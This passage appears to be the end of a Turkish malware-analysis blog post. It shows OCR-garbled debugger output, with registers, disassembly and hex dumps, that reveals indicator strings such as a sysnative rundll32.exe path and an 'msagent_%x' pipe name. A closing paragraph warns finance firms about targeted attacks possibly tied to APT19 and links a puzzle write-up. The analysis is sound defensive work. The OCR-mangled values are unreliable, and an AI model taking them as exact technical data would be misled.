40 00 04 push 4000

ax
o8 mov eax,dword ptr ss
X

mov eax,ebx

nan_ahy

EFLAGS 00000246

Lastérror 00000000
LASTSTAtUS CO0000A3 (STATUS_DEVICE_NOT_READY)

«|[ Hide FPU
EAX  0O41FSE0
[ e=x  ozesers1
L ecx  oooo1000
EDX 00000078 Pk
EEP  0O41FEF4
ESP 0041F8D0
ESI  O041FBED
EDI  0041F954
EIP D26596F9

(ERROR_SUCCESS)

..,..*_...._...J

11
21
3:
4

| @houmps | @ watch1 | ix-iocals | 2 struct |

EE=T

00|00 00 00 00 e e
00|00 00 00 00
00|00 00 00 00
00|00 00 00 00

e
\SYSWOWEL',
und1132.exe....

25|5C 73 79 73 L. .@windirs\sys
6C|6C 33 32 2E native\rund1132.
00|00 00 00 00 exe.

Ai#s\p
5F|25 78 00 00 me\msagent_}&x..

v [Defuit (stdcal

|5 2] ] Unlocked

esp] D041F954
espﬂ} 00000004
esp+8] 02666FS1

esprC] 02650000

?SCI.B kernel32. 76C199F2
DZGS!d return To 02658C4% from 02659619
00

026653 return to 02666ECT from 02658C21

. 81 FF
- v 7€ 04
. 33 €O
. ~ EB 13
vl 56
. FF 70
. 53
. ES 24
. B3
. €6 04
. 88 C7
. 5F
. SE
L €3
. 55
. 88 EC
. 53
. 68 00
. E8 73
. 88 D&
. 8B 45
. 59
. ES BD
L] BB C2
. £n
m
D265T47A
#50ump 1 | 45 Dump 2 [ 4 Dump 3 i {44 Dump 4
ress HEx
026815FE 00 00 00 00|00 OO0 OO 00|00 00 0O
0268160E 00 00 00 00|00 00 00 00|00 00 00
0268161E 00 00 00 00|00 00 00 00|00 00 0O
0268162E (00 0O 00 00|00 00 00 00|00 00 0O
D268163E 00 00 00 00|00 00 00 00
D268164E 69 GE 64 69|72 25 5C 73|79 73 77
D2E8165E 72 75 6E 64|6C 6C 33 32|2E 65 78
D2EB1EEE 00 00 00 D000 00 00 00|00 00 0O
0268167E |00 00 00 00|00 00 00 00|00 00 00
0268168 |00 03 00 40(25 77 69 6E|64 69 72
0268169 |[6E 61 74 69|76 65 5C 72|75 6E 64
026816AE (65 756 65 00|00 00 00 00|00 00 00
D2E816BE 00 00 00 00|00 00 00 00|00 00 0O
026816CE |00 OO0 OO0 00|00 OF 00 03|00 80 5C
0268160E 69 70 65 5C|6D 73 61 67|65 6E 74
026816EE 00 00 00 00|00 OO0 OO 00|00 00 00
D26816FE 00 00 00 00|00 00 00 00|00 00 00
0268170E 00 00 00 00|00 00 00 00|00 00 0O
0268171E 00 00 00 00|00 00 00 00|00 00 0O
0268172E 00 00 00 00|00 00 00 00|00 00 00
02|55173E 00 00 00 00|00 00 00 00ID0 00 0O
« L8
Command:
| Paused |D.m0268|.57n - 02681670 (000000001 bytes)

Bu girisimin ardinda

[ Safely Remove Hardware and Eject Media i

APT 19 grubu mu vardir ve hedef mi blyutmislerdir

bilinmez ancak tehdit raporlarinda 3. parti firmalar uUzerinden hacklenen

firmalarla ilgili yazilar okuyan bir siber guvenlik arastirmacisi olarak bu

tlir hedeflenmis, organize,
gerceklestirildigine bu analiz yazisi ile dikkat cekmek ve

sektdérindeki firmalarin bu tir siber saldirilara karsi cok

ileri seviye siber saldirilarin

Ulkemizde de
0zellikle finans
dikkatli



olmalarini Oneririm.
Bir sonraki yazida goOrismek dilegiyle herkese giuvenli gunler dilerim.
Not:

1. Bu yazi ayrica Pi Hediyem Var #15 oyununun c6zum yolunu da icermektedir.


https://www.mertsarica.com/pi-hediyem-var-15/

